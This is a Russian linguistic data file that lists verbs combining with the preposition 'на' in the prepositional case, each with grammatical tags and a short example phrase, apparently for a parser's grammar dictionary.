rus_verbs:зиждиться{}, // зиждиться на твердой основе rus_verbs:построиться{}, // построиться на песке rus_verbs:надрываться{}, // надрываться на работе rus_verbs:закипать{}, // закипать на плите rus_verbs:затонуть{}, // затонуть на мелководье rus_verbs:побыть{}, // побыть на фазенде rus_verbs:сгорать{}, // сгорать на солнце инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице деепричастие:пописав{ aux stress="поп^исав" }, rus_verbs:подраться{}, // подраться на сцене rus_verbs:заправить{}, // заправить на последней заправке rus_verbs:обозначаться{}, // обозначаться на карте rus_verbs:просиживать{}, // просиживать на берегу rus_verbs:начертить{}, // начертить на листке rus_verbs:тормозить{}, // тормозить на льду rus_verbs:затевать{}, // затевать на космической базе rus_verbs:задерживать{}, // задерживать на таможне rus_verbs:прилетать{}, // прилетать на частном самолете rus_verbs:полулежать{}, // полулежать на травке rus_verbs:ерзать{}, // ерзать на табуретке rus_verbs:покопаться{}, // покопаться на складе rus_verbs:подвезти{}, // подвезти на машине rus_verbs:полежать{}, // полежать на водном матрасе rus_verbs:стыть{}, // стыть на улице rus_verbs:стынуть{}, // стынуть на улице rus_verbs:скреститься{}, // скреститься на груди rus_verbs:припарковать{}, // припарковать на стоянке rus_verbs:здороваться{}, // здороваться на кафедре rus_verbs:нацарапать{}, // нацарапать на парте rus_verbs:откопать{}, // откопать на поляне rus_verbs:смастерить{}, // смастерить на коленках rus_verbs:довезти{}, // довезти на машине rus_verbs:избивать{}, // избивать на крыше rus_verbs:сварить{}, // сварить на костре rus_verbs:истребить{}, // истребить на корню rus_verbs:раскопать{}, // раскопать на болоте rus_verbs:попить{}, // попить на кухне rus_verbs:заправлять{}, // заправлять на базе rus_verbs:кушать{}, // кушать на кухне rus_verbs:замолкать{}, // замолкать на половине фразы rus_verbs:измеряться{}, // измеряться на весах rus_verbs:сбываться{}, // сбываться на самом деле rus_verbs:изображаться{}, // изображается на сцене rus_verbs:фиксировать{}, // фиксировать на данной высоте rus_verbs:ослаблять{}, // ослаблять на шее rus_verbs:зреть{}, // зреть на грядке rus_verbs:зеленеть{}, // зеленеть на грядке rus_verbs:критиковать{}, // критиковать на страницах газеты rus_verbs:облететь{}, // облететь на самолете rus_verbs:заразиться{}, // заразиться на работе rus_verbs:рассеять{}, // рассеять на территории rus_verbs:печься{}, // печься на костре rus_verbs:поспать{}, // поспать на земле rus_verbs:сплетаться{}, // сплетаться на макушке rus_verbs:удерживаться{}, // удерживаться на расстоянии rus_verbs:помешаться{}, // помешаться на чистоте rus_verbs:ликвидировать{}, // ликвидировать на полигоне rus_verbs:проваляться{}, // проваляться на диване rus_verbs:лечиться{}, // лечиться на дому rus_verbs:обработать{}, // обработать на станке rus_verbs:защелкнуть{}, // защелкнуть на руках rus_verbs:разносить{}, // разносить на одежде rus_verbs:чесать{}, // чесать на груди rus_verbs:наладить{}, // наладить на конвейере выпуск rus_verbs:отряхнуться{}, // отряхнуться на улице rus_verbs:разыгрываться{}, // разыгрываться на скачках rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях rus_verbs:греться{}, // греться на вокзале rus_verbs:засидеться{}, // засидеться на одном месте rus_verbs:материализоваться{}, // материализоваться на границе rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин rus_verbs:перевозить{}, // перевозить на платформе rus_verbs:поиграть{}, // поиграть на скрипке rus_verbs:потоптаться{}, // потоптаться на одном месте rus_verbs:переправиться{}, // переправиться на плоту rus_verbs:забрезжить{}, // забрезжить на горизонте rus_verbs:завывать{}, // завывать на опушке rus_verbs:заваривать{}, // заваривать на кухоньке rus_verbs:перемещаться{}, // перемещаться на спасательном плоту инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке rus_verbs:праздновать{}, // праздновать на улицах rus_verbs:обучить{}, // обучить на корте rus_verbs:орудовать{}, // орудовать на складе rus_verbs:подрасти{}, // подрасти на глядке rus_verbs:шелестеть{}, // шелестеть на ветру rus_verbs:раздеваться{}, // раздеваться на публике rus_verbs:пообедать{}, // пообедать на газоне rus_verbs:жрать{}, // жрать на помойке rus_verbs:исполняться{}, // исполняться на флейте rus_verbs:похолодать{}, // похолодать на улице rus_verbs:гнить{}, // гнить на каторге rus_verbs:прослушать{}, // прослушать на концерте rus_verbs:совещаться{}, // совещаться на заседании rus_verbs:покачивать{}, // покачивать на волнах rus_verbs:отсидеть{}, // отсидеть на гаупвахте rus_verbs:формировать{}, // формировать на секретной базе rus_verbs:захрапеть{}, // захрапеть на кровати rus_verbs:объехать{}, // объехать на попутке rus_verbs:поселить{}, // поселить на верхних этажах rus_verbs:заворочаться{}, // заворочаться на сене rus_verbs:напрятать{}, // напрятать на теле rus_verbs:очухаться{}, // очухаться на земле rus_verbs:полистать{}, // полистать на досуге rus_verbs:завертеть{}, // завертеть на шесте rus_verbs:печатать{}, // печатать на ноуте rus_verbs:отыскаться{}, // отыскаться на складе rus_verbs:зафиксировать{}, // зафиксировать на пленке rus_verbs:расстилаться{}, // расстилаться на столе rus_verbs:заместить{}, // заместить на посту rus_verbs:угасать{}, // угасать на неуправляемом корабле rus_verbs:сразить{}, // сразить на ринге rus_verbs:расплываться{}, // расплываться на жаре rus_verbs:сосчитать{}, // сосчитать на пальцах rus_verbs:сгуститься{}, // сгуститься на небольшой высоте rus_verbs:цитировать{}, // цитировать на плите rus_verbs:ориентироваться{}, // ориентироваться на местности rus_verbs:расширить{}, // расширить на другом конце rus_verbs:обтереть{}, // обтереть на стоянке rus_verbs:подстрелить{}, // подстрелить на охоте rus_verbs:растереть{}, // растереть на твердой поверхности rus_verbs:подавлять{}, // подавлять на первом этапе rus_verbs:смешиваться{}, // смешиваться на поверхности // инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте // деепричастие:вычитав{}, rus_verbs:сократиться{}, // сократиться на втором этапе rus_verbs:занервничать{}, // занервничать на экзамене rus_verbs:соприкоснуться{}, // соприкоснуться на трассе rus_verbs:обозначить{}, // обозначить на плане rus_verbs:обучаться{}, // обучаться на производстве rus_verbs:снизиться{}, // снизиться на большой высоте rus_verbs:простудиться{}, // простудиться на ветру rus_verbs:поддерживаться{}, // поддерживается на встрече rus_verbs:уплыть{}, // уплыть на лодочке rus_verbs:резвиться{}, // резвиться на песочке rus_verbs:поерзать{}, // поерзать на скамеечке rus_verbs:похвастаться{}, // похвастаться на встрече rus_verbs:знакомиться{}, // знакомиться на уроке rus_verbs:проплывать{}, // проплывать на катере rus_verbs:засесть{}, // засесть на чердаке rus_verbs:подцепить{}, // подцепить на дискотеке rus_verbs:обыскать{}, // обыскать на входе rus_verbs:оправдаться{}, // оправдаться на суде rus_verbs:раскрываться{}, // раскрываться на сцене rus_verbs:одеваться{}, // одеваться на вещевом рынке rus_verbs:засветиться{}, // засветиться на фотографиях rus_verbs:употребляться{}, // употребляться на птицефабриках rus_verbs:грабить{}, // грабить на пустыре rus_verbs:гонять{}, // гонять на повышенных оборотах rus_verbs:развеваться{}, // развеваться на древке rus_verbs:основываться{}, // основываться на безусловных фактах rus_verbs:допрашивать{}, // допрашивать на базе rus_verbs:проработать{}, // проработать на стройке rus_verbs:сосредоточить{}, // сосредоточить на месте rus_verbs:сочинять{}, // сочинять на ходу rus_verbs:ползать{}, // ползать на камне rus_verbs:раскинуться{}, // раскинуться на пустыре rus_verbs:уставать{}, // уставать на работе rus_verbs:укрепить{}, // укрепить на конце rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь rus_verbs:одобрять{}, // одобрять на словах rus_verbs:приговорить{}, // приговорить на заседании тройки rus_verbs:чернеть{}, // чернеть на свету rus_verbs:гнуть{}, // гнуть на станке rus_verbs:размещаться{}, // размещаться на бирже rus_verbs:соорудить{}, // соорудить на даче rus_verbs:пастись{}, // пастись на лугу rus_verbs:формироваться{}, // формироваться на дне rus_verbs:таить{}, // таить на дне rus_verbs:приостановиться{}, // приостановиться на середине rus_verbs:топтаться{}, // топтаться на месте rus_verbs:громить{}, // громить на подступах rus_verbs:вычислить{}, // вычислить на бумажке rus_verbs:заказывать{}, // заказывать на сайте rus_verbs:осуществить{}, // осуществить на практике rus_verbs:обосноваться{}, // обосноваться на верхушке rus_verbs:пытать{}, // пытать на электрическом стуле rus_verbs:совершиться{}, // совершиться на заседании rus_verbs:свернуться{}, // свернуться на медленном огне rus_verbs:пролетать{}, // пролетать на дельтаплане rus_verbs:сбыться{}, // сбыться на самом деле rus_verbs:разговориться{}, // разговориться на уроке rus_verbs:разворачиваться{}, // разворачиваться на перекрестке rus_verbs:преподнести{}, // преподнести на блюдечке rus_verbs:напечатать{}, // напечатать на лазернике rus_verbs:прорвать{}, // прорвать на периферии rus_verbs:раскачиваться{}, // раскачиваться на доске rus_verbs:задерживаться{}, // задерживаться на старте rus_verbs:угощать{}, // угощать на вечеринке rus_verbs:шарить{}, // шарить на столе rus_verbs:увеличивать{}, // увеличивать на первом этапе rus_verbs:рехнуться{}, // рехнуться на старости лет rus_verbs:расцвести{}, // расцвести на грядке rus_verbs:закипеть{}, // закипеть на плите rus_verbs:подлететь{}, // подлететь на параплане rus_verbs:рыться{}, // рыться на свалке rus_verbs:добираться{}, // добираться на попутках rus_verbs:продержаться{}, // продержаться на вершине rus_verbs:разыскивать{}, // разыскивать на выставках rus_verbs:освобождать{}, // освобождать на заседании rus_verbs:передвигаться{}, // передвигаться на самокате rus_verbs:проявиться{}, // проявиться на свету rus_verbs:заскользить{}, // заскользить на льду rus_verbs:пересказать{}, // пересказать на сцене студенческого театра rus_verbs:протестовать{}, // протестовать на улице rus_verbs:указываться{}, // указываться на табличках rus_verbs:прискакать{}, // прискакать на лошадке rus_verbs:копошиться{}, // копошиться на свежем воздухе rus_verbs:подсчитать{}, // подсчитать на бумажке rus_verbs:разволноваться{}, // разволноваться на экзамене rus_verbs:завертеться{}, // завертеться на полу rus_verbs:ознакомиться{}, // ознакомиться на ходу rus_verbs:ржать{}, // ржать на уроке rus_verbs:раскинуть{}, // раскинуть на грядках rus_verbs:разгромить{}, // разгромить на ринге rus_verbs:подслушать{}, // подслушать на совещании rus_verbs:описываться{}, // описываться на страницах книги rus_verbs:качаться{}, // качаться на стуле rus_verbs:усилить{}, // усилить на флангах rus_verbs:набросать{}, // набросать на клочке картона rus_verbs:расстреливать{}, // расстреливать на подходе rus_verbs:запрыгать{}, // запрыгать на одной ноге rus_verbs:сыскать{}, // сыскать на чужбине rus_verbs:подтвердиться{}, // подтвердиться на практике rus_verbs:плескаться{}, // плескаться на мелководье rus_verbs:расширяться{}, // расширяться на конце rus_verbs:подержать{}, // подержать на солнце rus_verbs:планироваться{}, // планироваться на общем собрании rus_verbs:сгинуть{}, // сгинуть на чужбине rus_verbs:замкнуться{}, // замкнуться на точке rus_verbs:закачаться{}, // закачаться на ветру rus_verbs:перечитывать{}, // перечитывать на ходу rus_verbs:перелететь{}, // перелететь на дельтаплане rus_verbs:оживать{}, // оживать на солнце rus_verbs:женить{}, // женить на богатой невесте rus_verbs:заглохнуть{}, // заглохнуть на старте rus_verbs:копаться{}, // копаться на полу rus_verbs:развлекаться{}, // развлекаться на дискотеке rus_verbs:печататься{}, // печататься на струйном принтере rus_verbs:обрываться{}, // обрываться на полуслове rus_verbs:ускакать{}, // ускакать на лошадке rus_verbs:подписывать{}, // подписывать на столе rus_verbs:добывать{}, // добывать на выработке rus_verbs:скопиться{}, // скопиться на выходе rus_verbs:повстречать{}, // повстречать на пути rus_verbs:поцеловаться{}, // поцеловаться на площади rus_verbs:растянуть{}, // растянуть на столе rus_verbs:подаваться{}, // подаваться на благотворительном обеде rus_verbs:повстречаться{}, // повстречаться на митинге rus_verbs:примоститься{}, // примоститься на ступеньках rus_verbs:отразить{}, // отразить на страницах доклада rus_verbs:пояснять{}, // пояснять на страницах приложения rus_verbs:накормить{}, // накормить на кухне rus_verbs:поужинать{}, // поужинать на веранде инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге деепричастие:спев{}, инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить на мелководье rus_verbs:освоить{}, // освоить на практике rus_verbs:распластаться{}, // распластаться на травке rus_verbs:отплыть{}, // отплыть на старом каяке rus_verbs:улетать{}, // улетать на любом самолете rus_verbs:отстаивать{}, // отстаивать на корте rus_verbs:осуждать{}, // осуждать на словах rus_verbs:переговорить{}, // переговорить на обеде rus_verbs:укрыть{}, // укрыть на чердаке rus_verbs:томиться{}, // томиться на привязи rus_verbs:сжигать{}, // сжигать на полигоне rus_verbs:позавтракать{}, // позавтракать на лоне природы rus_verbs:функционировать{}, // функционирует на солнечной энергии rus_verbs:разместить{}, // разместить на сайте rus_verbs:пронести{}, // пронести на теле rus_verbs:нашарить{}, // нашарить на столе rus_verbs:корчиться{}, // корчиться на полу rus_verbs:распознать{}, // распознать на снимке rus_verbs:повеситься{}, // повеситься на шнуре rus_verbs:обозначиться{}, // обозначиться на картах rus_verbs:оступиться{}, // оступиться на скользком льду rus_verbs:подносить{}, // подносить на блюдечке rus_verbs:расстелить{}, // расстелить на газоне rus_verbs:обсуждаться{}, // обсуждаться на собрании rus_verbs:расписаться{}, // расписаться на бланке rus_verbs:плестись{}, // плестись на привязи rus_verbs:объявиться{}, // объявиться на сцене rus_verbs:повышаться{}, // повышаться на первом датчике rus_verbs:разрабатывать{}, // разрабатывать на заводе rus_verbs:прерывать{}, // прерывать на середине rus_verbs:каяться{}, // каяться на публике rus_verbs:освоиться{}, // освоиться на лошади rus_verbs:подплыть{}, // подплыть на плоту rus_verbs:оскорбить{}, // оскорбить на митинге rus_verbs:торжествовать{}, // торжествовать на пьедестале rus_verbs:поправлять{}, // поправлять на одежде rus_verbs:отражать{}, // отражать на картине rus_verbs:дремать{}, // дремать на кушетке rus_verbs:применяться{}, // применяться на производстве стали rus_verbs:поражать{}, // поражать на большой дистанции rus_verbs:расстрелять{}, // расстрелять на окраине хутора rus_verbs:рассчитать{}, // рассчитать на калькуляторе rus_verbs:записывать{}, // записывать на ленте rus_verbs:перебирать{}, // перебирать на ладони rus_verbs:разбиться{}, // разбиться на катере rus_verbs:поискать{}, // поискать на ферме rus_verbs:прятать{}, // прятать на заброшенном складе rus_verbs:пропеть{}, // пропеть на эстраде rus_verbs:замелькать{}, // замелькать на экране rus_verbs:грустить{}, // грустить на веранде rus_verbs:крутить{}, // крутить на оси rus_verbs:подготовить{}, // подготовить на конспиративной квартире rus_verbs:различать{}, // различать на картинке rus_verbs:киснуть{}, // киснуть на чужбине rus_verbs:оборваться{}, // оборваться на полуслове rus_verbs:запутаться{}, // запутаться на простейшем тесте rus_verbs:общаться{}, // общаться на уроке rus_verbs:производиться{}, // производиться на фабрике rus_verbs:сочинить{}, // сочинить на досуге rus_verbs:давить{}, // давить на лице rus_verbs:разработать{}, // разработать на секретном предприятии rus_verbs:качать{}, // качать на качелях rus_verbs:тушить{}, // тушить на крыше пожар rus_verbs:охранять{}, // охранять на территории базы rus_verbs:приметить{}, // приметить на взгорке rus_verbs:скрыть{}, // скрыть на теле rus_verbs:удерживать{}, // удерживать на руке rus_verbs:усвоить{}, // усвоить на уроке rus_verbs:растаять{}, // растаять на солнечной стороне rus_verbs:красоваться{}, // красоваться на виду rus_verbs:сохраняться{}, // сохраняться на холоде rus_verbs:лечить{}, // лечить на дому rus_verbs:прокатиться{}, // прокатиться на уницикле rus_verbs:договариваться{}, // договариваться на нейтральной территории rus_verbs:качнуться{}, // качнуться на одной ноге rus_verbs:опубликовать{}, // опубликовать на сайте rus_verbs:отражаться{}, // отражаться на поверхности воды rus_verbs:обедать{}, // обедать на веранде rus_verbs:посидеть{}, // посидеть на лавочке rus_verbs:сообщаться{}, // сообщаться на официальном сайте rus_verbs:свершиться{}, // свершиться на заседании rus_verbs:ночевать{}, // ночевать на даче rus_verbs:темнеть{}, // темнеть на свету rus_verbs:гибнуть{}, // гибнуть на территории полигона rus_verbs:усиливаться{}, // усиливаться на территории округа rus_verbs:проживать{}, // проживать на даче rus_verbs:исследовать{}, // исследовать на большой глубине rus_verbs:обитать{}, // обитать на громадной глубине rus_verbs:сталкиваться{}, // сталкиваться на большой высоте rus_verbs:таиться{}, // таиться на большой глубине rus_verbs:спасать{}, // спасать на пожаре rus_verbs:сказываться{}, // сказываться на общем результате rus_verbs:заблудиться{}, // заблудиться на стройке rus_verbs:пошарить{}, // пошарить на полках rus_verbs:планировать{}, // планировать на бумаге rus_verbs:ранить{}, // ранить на полигоне rus_verbs:хлопать{}, // хлопать на сцене rus_verbs:основать{}, // основать на горе новый монастырь rus_verbs:отбить{}, // отбить на столе rus_verbs:отрицать{}, // отрицать на заседании комиссии rus_verbs:устоять{}, // устоять на ногах rus_verbs:отзываться{}, // отзываться на страницах отчёта rus_verbs:притормозить{}, // притормозить на обочине rus_verbs:читаться{}, // читаться на лице rus_verbs:заиграть{}, // заиграть на саксофоне rus_verbs:зависнуть{}, // зависнуть на игровой площадке rus_verbs:сознаться{}, // сознаться на допросе rus_verbs:выясняться{}, // выясняться на очной ставке rus_verbs:наводить{}, // наводить на столе порядок rus_verbs:покоиться{}, // покоиться на кладбище rus_verbs:значиться{}, // значиться на бейджике rus_verbs:съехать{}, // съехать на санках rus_verbs:познакомить{}, // познакомить на свадьбе rus_verbs:завязать{}, // завязать на спине rus_verbs:грохнуть{}, // грохнуть на площади rus_verbs:разъехаться{}, // разъехаться на узкой дороге rus_verbs:столпиться{}, // столпиться на крыльце rus_verbs:порыться{}, // порыться на полках rus_verbs:ослабить{}, // ослабить на шее rus_verbs:оправдывать{}, // оправдывать на суде rus_verbs:обнаруживаться{}, // обнаруживаться на складе rus_verbs:спастись{}, // спастись на дереве rus_verbs:прерваться{}, // прерваться на полуслове rus_verbs:строиться{}, // строиться на пустыре rus_verbs:познать{}, // познать на практике rus_verbs:путешествовать{}, // путешествовать на поезде rus_verbs:побеждать{}, // побеждать на ринге rus_verbs:рассматриваться{}, // рассматриваться на заседании rus_verbs:продаваться{}, // продаваться на открытом рынке rus_verbs:разместиться{}, // разместиться на базе rus_verbs:завыть{}, // завыть на холме rus_verbs:настигнуть{}, // настигнуть на окраине rus_verbs:укрыться{}, // укрыться на чердаке rus_verbs:расплакаться{}, // расплакаться на заседании комиссии rus_verbs:заканчивать{}, // заканчивать на последнем задании rus_verbs:пролежать{}, // пролежать на столе rus_verbs:громоздиться{}, // громоздиться на полу rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе rus_verbs:поскользнуться{}, // поскользнуться на льду rus_verbs:таскать{}, // таскать на спине rus_verbs:просматривать{}, // просматривать на сайте rus_verbs:обдумать{}, // обдумать на досуге rus_verbs:гадать{}, // гадать на кофейной гуще rus_verbs:останавливать{}, // останавливать на выходе rus_verbs:обозначать{}, // обозначать на странице rus_verbs:долететь{}, // долететь на спортивном байке rus_verbs:тесниться{}, // тесниться на чердачке rus_verbs:хоронить{}, // хоронить на частном кладбище rus_verbs:установиться{}, // установиться на юге rus_verbs:прикидывать{}, // прикидывать на клочке бумаги rus_verbs:затаиться{}, // затаиться на дереве rus_verbs:раздобыть{}, // раздобыть на складе rus_verbs:перебросить{}, // перебросить на вертолетах rus_verbs:захватывать{}, // захватывать на базе rus_verbs:сказаться{}, // сказаться на итоговых оценках rus_verbs:покачиваться{}, // покачиваться на волнах rus_verbs:крутиться{}, // крутиться на кухне rus_verbs:помещаться{}, // помещаться на полке rus_verbs:питаться{}, // питаться на помойке rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле rus_verbs:кататься{}, // кататься на велике rus_verbs:поработать{}, // поработать на стройке rus_verbs:ограбить{}, // ограбить на пустыре rus_verbs:зарабатывать{}, // зарабатывать на бирже rus_verbs:преуспеть{}, // преуспеть на ниве искусства rus_verbs:заерзать{}, // заерзать на стуле rus_verbs:разъяснить{}, // разъяснить на полях rus_verbs:отчеканить{}, // отчеканить на медной пластине rus_verbs:торговать{}, // торговать на рынке rus_verbs:поколебаться{}, // поколебаться на пороге rus_verbs:прикинуть{}, // прикинуть на бумажке rus_verbs:рассечь{}, // рассечь на тупом конце rus_verbs:посмеяться{}, // посмеяться на переменке rus_verbs:остыть{}, // остыть на морозном воздухе rus_verbs:запереться{}, // запереться на чердаке rus_verbs:обогнать{}, // обогнать на повороте rus_verbs:подтянуться{}, // подтянуться на турнике rus_verbs:привозить{}, // привозить на машине rus_verbs:подбирать{}, // подбирать на полу rus_verbs:уничтожать{}, // уничтожать на подходе rus_verbs:притаиться{}, // притаиться на вершине rus_verbs:плясать{}, // плясать на костях rus_verbs:поджидать{}, // поджидать на вокзале rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!) rus_verbs:смениться{}, // смениться на посту rus_verbs:посчитать{}, // посчитать на пальцах rus_verbs:прицелиться{}, // прицелиться на бегу rus_verbs:нарисовать{}, // нарисовать на стене rus_verbs:прыгать{}, // прыгать на сцене rus_verbs:повертеть{}, // повертеть на пальце rus_verbs:попрощаться{}, // попрощаться на панихиде инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване rus_verbs:разобрать{}, // разобрать на столе rus_verbs:помереть{}, // помереть на чужбине rus_verbs:различить{}, // различить на нечеткой фотографии rus_verbs:рисовать{}, // рисовать на доске rus_verbs:проследить{}, // проследить на экране rus_verbs:задремать{}, // задремать на диване rus_verbs:ругаться{}, // ругаться на людях rus_verbs:сгореть{}, // сгореть на работе rus_verbs:зазвучать{}, // зазвучать на коротких волнах rus_verbs:задохнуться{}, // задохнуться на вершине горы rus_verbs:порождать{}, // порождать на поверхности небольшую рябь rus_verbs:отдыхать{}, // отдыхать на курорте rus_verbs:образовать{}, // образовать на дне толстый слой rus_verbs:поправиться{}, // поправиться на дармовых харчах rus_verbs:отмечать{}, // отмечать на календаре rus_verbs:реять{}, // реять на флагштоке rus_verbs:ползти{}, // ползти на коленях rus_verbs:продавать{}, // продавать на аукционе rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче rus_verbs:рыскать{}, // мышки рыскали на кухне rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы rus_verbs:напасть{}, // напасть на территории другого государства rus_verbs:издать{}, // издать на западе rus_verbs:оставаться{}, // оставаться на страже порядка rus_verbs:появиться{}, // наконец появиться на экране rus_verbs:лежать{}, // лежать на столе rus_verbs:ждать{}, // ждать на берегу инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге глагол:писать{aux stress="пис^ать"}, rus_verbs:оказываться{}, // оказываться на полу rus_verbs:поставить{}, // поставить на столе rus_verbs:держать{}, // держать на крючке rus_verbs:выходить{}, // выходить на остановке rus_verbs:заговорить{}, // заговорить на китайском языке rus_verbs:ожидать{}, // ожидать на стоянке rus_verbs:закричать{}, // закричал на минарете муэдзин rus_verbs:простоять{}, // простоять на посту rus_verbs:продолжить{}, // продолжить на первом этаже rus_verbs:ощутить{}, // ощутить на себе влияние кризиса rus_verbs:состоять{}, // состоять на учете rus_verbs:готовиться{}, инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте глагол:акклиматизироваться{вид:несоверш}, rus_verbs:арестовать{}, // грабители были арестованы на месте преступления rus_verbs:схватить{}, // грабители были схвачены на месте преступления инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе глагол:атаковать{ вид:соверш }, прилагательное:атакованный{ вид:соверш }, прилагательное:атаковавший{ вид:соверш }, rus_verbs:базировать{}, // установка будет базирована на границе rus_verbs:базироваться{}, // установка базируется на границе rus_verbs:барахтаться{}, // дети барахтались на мелководье rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке rus_verbs:бренчать{}, // парень что-то бренчал на гитаре rus_verbs:бренькать{}, // парень что-то бренькает на гитаре rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории. rus_verbs:буксовать{}, // Колеса буксуют на льду rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле rus_verbs:взвести{}, // Боец взвел на оружии предохранитель rus_verbs:вилять{}, // Машина сильно виляла на дороге rus_verbs:висеть{}, // Яблоко висит на ветке rus_verbs:возлежать{}, // возлежать на лежанке rus_verbs:подниматься{}, // Мы поднимаемся на лифте rus_verbs:подняться{}, // Мы поднимемся на лифте rus_verbs:восседать{}, // Коля восседает на лошади rus_verbs:воссиять{}, // Луна воссияла на небе rus_verbs:воцариться{}, // Мир воцарился на всей земле rus_verbs:воцаряться{}, // Мир воцаряется на всей земле rus_verbs:вращать{}, // вращать на поясе rus_verbs:вращаться{}, // вращаться на поясе rus_verbs:встретить{}, // встретить друга на улице rus_verbs:встретиться{}, // встретиться на занятиях rus_verbs:встречать{}, // встречать на занятиях rus_verbs:въебывать{}, // въебывать на работе rus_verbs:въезжать{}, // въезжать на автомобиле rus_verbs:въехать{}, // въехать на автомобиле rus_verbs:выгорать{}, // ткань выгорает на солнце rus_verbs:выгореть{}, // ткань выгорела на солнце rus_verbs:выгравировать{}, // выгравировать на табличке надпись rus_verbs:выжить{}, // выжить на необитаемом острове rus_verbs:вылежаться{}, // помидоры вылежались на солнце rus_verbs:вылеживаться{}, // вылеживаться на солнце rus_verbs:выместить{}, // выместить на ком-то злобу rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение rus_verbs:вымещаться{}, // вымещаться на ком-то rus_verbs:выращивать{}, // выращивать на грядке помидоры rus_verbs:выращиваться{}, // выращиваться на грядке инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись глагол:вырезать{вид:соверш}, инфинитив:вырезать{вид:несоверш}, глагол:вырезать{вид:несоверш}, rus_verbs:вырисоваться{}, // вырисоваться на графике rus_verbs:вырисовываться{}, // вырисовываться на графике rus_verbs:высаживать{}, // высаживать на необитаемом острове rus_verbs:высаживаться{}, // высаживаться на острове rus_verbs:высвечивать{}, // высвечивать на дисплее температуру rus_verbs:высвечиваться{}, // высвечиваться на дисплее rus_verbs:выстроить{}, // выстроить на фундаменте rus_verbs:выстроиться{}, // выстроиться на плацу rus_verbs:выстудить{}, // выстудить на морозе rus_verbs:выстудиться{}, // выстудиться на морозе rus_verbs:выстужать{}, // выстужать на морозе rus_verbs:выстуживать{}, // выстуживать на морозе rus_verbs:выстуживаться{}, // выстуживаться на морозе rus_verbs:выстукать{}, // выстукать на клавиатуре rus_verbs:выстукивать{}, // выстукивать на клавиатуре rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре rus_verbs:выступать{}, // выступать на сцене rus_verbs:выступить{}, // выступить на сцене rus_verbs:выстучать{}, // выстучать на клавиатуре rus_verbs:выстывать{}, // выстывать на морозе rus_verbs:выстыть{}, // выстыть на морозе rus_verbs:вытатуировать{}, // вытатуировать на руке якорь rus_verbs:говорить{}, // говорить на повышенных тонах rus_verbs:заметить{}, // заметить на берегу rus_verbs:стоять{}, // твёрдо стоять на ногах rus_verbs:оказаться{}, // оказаться на передовой линии rus_verbs:почувствовать{}, // почувствовать на своей шкуре rus_verbs:остановиться{}, // остановиться на первом пункте rus_verbs:показаться{}, // показаться на горизонте rus_verbs:чувствовать{}, // чувствовать на своей шкуре rus_verbs:искать{}, // искать на открытом пространстве rus_verbs:иметься{}, // иметься на складе rus_verbs:клясться{}, // клясться на Коране rus_verbs:прервать{}, // прервать на полуслове rus_verbs:играть{}, // играть на чувствах rus_verbs:спуститься{}, // спуститься на парашюте rus_verbs:понадобиться{}, // понадобиться на экзамене rus_verbs:служить{}, // служить на флоте rus_verbs:подобрать{}, // подобрать на улице rus_verbs:появляться{}, // появляться на сцене rus_verbs:селить{}, // селить на чердаке rus_verbs:поймать{}, // поймать на границе rus_verbs:увидать{}, // увидать на опушке rus_verbs:подождать{}, // подождать на перроне rus_verbs:прочесть{}, // прочесть на полях rus_verbs:тонуть{}, // тонуть на мелководье rus_verbs:ощущать{}, // ощущать на коже rus_verbs:отметить{}, // отметить на полях rus_verbs:показывать{}, // показывать на графике rus_verbs:разговаривать{}, // разговаривать на иностранном языке rus_verbs:прочитать{}, // прочитать на сайте rus_verbs:попробовать{}, // попробовать на практике rus_verbs:замечать{}, // замечать на коже грязь rus_verbs:нести{}, // нести на плечах rus_verbs:носить{}, // носить на голове rus_verbs:гореть{}, // гореть на работе rus_verbs:застыть{}, // застыть на пороге инфинитив:жениться{ вид:соверш }, // жениться на королеве глагол:жениться{ вид:соверш }, прилагательное:женатый{}, прилагательное:женившийся{}, rus_verbs:спрятать{}, // спрятать на чердаке rus_verbs:развернуться{}, // развернуться на плацу rus_verbs:строить{}, // строить на песке rus_verbs:устроить{}, // устроить на даче тестральный вечер rus_verbs:настаивать{}, // настаивать на выполнении приказа rus_verbs:находить{}, // находить на берегу rus_verbs:мелькнуть{}, // мелькнуть на экране rus_verbs:очутиться{}, // очутиться на опушке леса инфинитив:использовать{вид:соверш}, // использовать на работе глагол:использовать{вид:соверш}, инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, прилагательное:использованный{}, прилагательное:использующий{}, прилагательное:использовавший{}, rus_verbs:лететь{}, // лететь на воздушном шаре rus_verbs:смеяться{}, // смеяться на сцене rus_verbs:ездить{}, // ездить на мопеде rus_verbs:заснуть{}, // заснуть на диване rus_verbs:застать{}, // застать на рабочем месте rus_verbs:очнуться{}, // очнуться на больничной койке rus_verbs:разглядеть{}, // разглядеть на фотографии rus_verbs:обойти{}, // обойти на вираже rus_verbs:удержаться{}, // удержаться на троне rus_verbs:побывать{}, // побывать на другой планете rus_verbs:заняться{}, // заняться на выходных делом rus_verbs:вянуть{}, // вянуть на солнце 